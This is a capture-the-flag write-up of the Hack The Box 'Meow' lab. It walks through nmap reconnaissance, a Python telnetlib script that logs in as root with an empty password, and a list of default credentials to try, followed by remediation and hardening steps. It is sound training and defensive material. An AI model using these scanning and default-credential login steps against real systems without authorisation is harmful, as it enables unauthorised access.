TL;DR
Meow is HTB’s first Starting Point box and it has exactly one open port — 23/tcp Telnet. The root account is configured with no password, so authentication boils down to typing root at the login prompt and reading the flag from /root/flag.txt. The interesting lesson is not the exploit. It is why a raw Python socket and nc both fail to talk to a Telnet server, while telnetlib works the first time: Telnet is not raw TCP, it requires RFC-854 option negotiation before the server will hand over a prompt. That distinction shows up again on real engagements with proxy-aware services and cleanup-aware shells, so it is worth internalising on the easiest box on the platform.
Attack chain
[A] ICMP probe → TTL 63 → Linux
│
▼
[B] nmap top-100 → 23/tcp telnet
│
▼
[C] Connect to Telnet port
│
┌────┴──────────────────┬──────────────────────┐
│ │ │
dead end dead end working ✓
│ │ │
▼ ▼ ▼
[D] raw Python socket [E] nc [F] telnetlib
hangs on recv() connects, RFC 854
no I/O handshake
│
▼
[G] login: root
password: empty
│
▼
[H] root shell
cat /root/flag.txt ✓
Recon
1. Liveness check
$ ping -c 2 10.129.97.185
64 bytes from 10.129.97.185: icmp_seq=0 ttl=63 time=38.298 ms
64 bytes from 10.129.97.185: icmp_seq=1 ttl=63 time=35.418 ms
Host is alive. TTL=63 means the packet’s original TTL was 64 minus one router hop, so the OS is Linux/Unix family (Windows defaults to 128, Cisco to 255). ICMP is not filtered — useful signal that there is no aggressive firewall in front of the box.
2. Top-100 port sweep
$ nmap --top-ports 100 10.129.97.185
PORT STATE SERVICE
23/tcp open telnet
Flags explained:
--top-ports 100— scan only the 100 most commonly open ports per nmap’s prevalence list. Finishes in seconds, catches the obvious surface.
Exactly one port open. On a Tier 0 box this is almost always the only attack surface, so I do not block on a full sweep before starting to enumerate the service.
3. Full sweep + service detection (background)
$ nmap -sV -sC -p- --min-rate 1000 10.129.97.185
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Flags explained:
-sV— service-version probe (sends payload bytes to identify the daemon and version).-sC— run the default NSE script set (banner grabbing, common misconfig checks).-p-— scan all 65 535 TCP ports, not just the top-1000 default.--min-rate 1000— at least 1000 packets per second; speeds the full sweep without enabling the more aggressive-T4/-T5timing.
No surprises. Telnet, full stop. That single open port is the entire attack surface.
Foothold
Dead end #1 — raw socket
Dead end: raw Python socket — hangs on recv() because the server waits for Telnet IAC negotiation.
My first instinct was to skip the client and just talk TCP:
import socket
s = socket.socket()
s.connect(('10.129.97.185', 23))
print(s.recv(1024)) # blocks → timeout
s.send(b'root\n') # no echo, no response
Nothing. The TCP handshake completes, but recv blocks forever and send has no effect. Telnet is not raw TCP. Per RFC 854, the server immediately sends a sequence of IAC DO/DONT/WILL/WONT option-negotiation bytes (terminal type, echo mode, window size, line vs character mode, etc.) and waits for the client to respond. Without that handshake, the server never reaches the login state.
Dead end #2 — netcat
Dead end: nc connects but produces no I/O — it’s a raw byte-pump with no Telnet handshake support.
$ nc 10.129.97.185 23
# connection opens, then silence
Same root cause as the raw socket. nc is a byte-pump — it copies stdin to the socket and the socket to stdout, no protocol awareness. It does not respond to IAC bytes, so the Telnet server keeps waiting. nc is excellent for stateless protocols (HTTP, SMTP, Redis), but it cannot impersonate protocols that require a handshake (Telnet, SSH, TLS).
Working approach — Python telnetlib
import telnetlib
tn = telnetlib.Telnet('10.129.97.185', 23, timeout=5)
banner = tn.read_until(b'Meow login:', timeout=5)
tn.write(b'root\n')
print(tn.read_all().decode())
telnetlib (Python stdlib) implements RFC-854 negotiation correctly. The banner returns:
█ █ ▐▌ ▄█▄ █ ▄▄▄▄
█▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
█ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
root@Meow:~#
The server did not even prompt for a password. The root account is configured with an empty password — the telnetd PAM stack treats that as “any input is accepted, no challenge issued”. On most modern distros this state is unreachable by default; here it is the entire vulnerability.
(If you do not want to write Python, the canonical client is telnet 10.129.97.185 23 from the inetutils-telnet package — same outcome, but writing it in telnetlib is more instructive about the protocol.)
Flag
root@Meow:~# cat flag.txt
[REDACTED]
Flag value redacted in this writeup per the blog’s flag-redaction rule (see AUP/checklist below).
Privilege Escalation
N/A — Starting Point Tier 0 box. Telnet login as root with an empty password already grants a root-level shell directly. No escalation path required, and no user-to-root pivot exists on this machine.
I keep this section as an explicit N/A rather than omitting it: a missing PrivEsc section reads as “I forgot to write this”, whereas an explicit N/A reads as “I considered escalation and there is none to do”.
What’s actually broken
This box is intentionally a stack of textbook misconfigurations:
- Telnet exposed on a network reachable from outside. Every byte — credentials, commands, output — travels in plaintext. Anyone on the path (or anyone running tcpdump on a LAN segment) reads the entire session.
- Empty
rootpassword. Direct violation of CIS Ubuntu 20.04 Benchmark §5.4.4 (account access controls), STIG SV-219174 (no null passwords), and ISO 27001 Annex A.9.4.3 (password management system). - Direct remote
rootlogin allowed. Even with a password set, allowingrootto log in remotely fails the layered-defence principle: privileged access should require an unprivileged login first, thensudoorsuwith audit trail. - Service hardening absent. No fail2ban, no rate limiting, no MFA, no account lockout — the box would happily accept ten thousand login attempts in a minute.
Remediation (the boring half)
Replace Telnet with SSH and disable root login entirely.
Install SSH and remove the Telnet daemon:
apt install -y openssh-server
systemctl enable --now ssh
systemctl disable --now inetd # or whatever spawns telnetd
apt purge -y telnetd inetutils-telnetd
Harden sshd in /etc/ssh/sshd_config:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 0
Lock the root account explicitly so even local password login is impossible:
passwd -l root
Restrict the firewall to SSH only:
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp
ufw enable
Add fail2ban for brute-force protection:
apt install -y fail2ban
systemctl enable --now fail2ban
After this sequence, a Meow-style attack returns “connection refused” (Telnet) or “permission denied” (SSH for root).
Lessons learned
- TTL fingerprints OS family before any nmap flag is chosen. TTL 63/64 → Linux/Unix, 127/128 → Windows, 254/255 → Cisco/router/BSD. The number tells you whether to expect SMB or Telnet/SSH-style services. It is a heuristic —
net.ipv4.ip_default_ttlcan be tuned — but it is the cheapest signal you get for free. --top-ports 100first, full sweep in the background. A Tier 0 box has its only port in the top-100 with high probability. Do not block enumeration of the obvious port on a 65 535-port scan that is going to find the same answer in fifteen minutes.- Some protocols need a handshake. Raw sockets and
ncwork for HTTP, SMTP, Redis. They fail silently against Telnet, SSH, TLS — the connection succeeds, then nothing happens. When you see “TCP connects, no data”, suspect a missing client-initiated negotiation step. - Try the obvious credentials first.
root:,root:root,admin:admin, vendor defaults. Reaching for Hydra on a box where the answer is “no password” wastes minutes and produces noisy logs. - An explicit
N/Ais better than an omitted section. A reader does not know whether you considered PrivEsc and dismissed it, or simply forgot. Document the absence.
References
- HTB Starting Point — Meow (login required)
- RFC 854 — Telnet Protocol Specification
- RFC 855 — Telnet Option Specifications
- MITRE ATT&CK T1078 — Valid Accounts
- MITRE ATT&CK T1133 — External Remote Services
- CIS Ubuntu 20.04 Benchmark — §5.4.4 account access controls, §5.2 SSH hardening
- STIG SV-219174 — null password rule
- Python
telnetlibdocumentation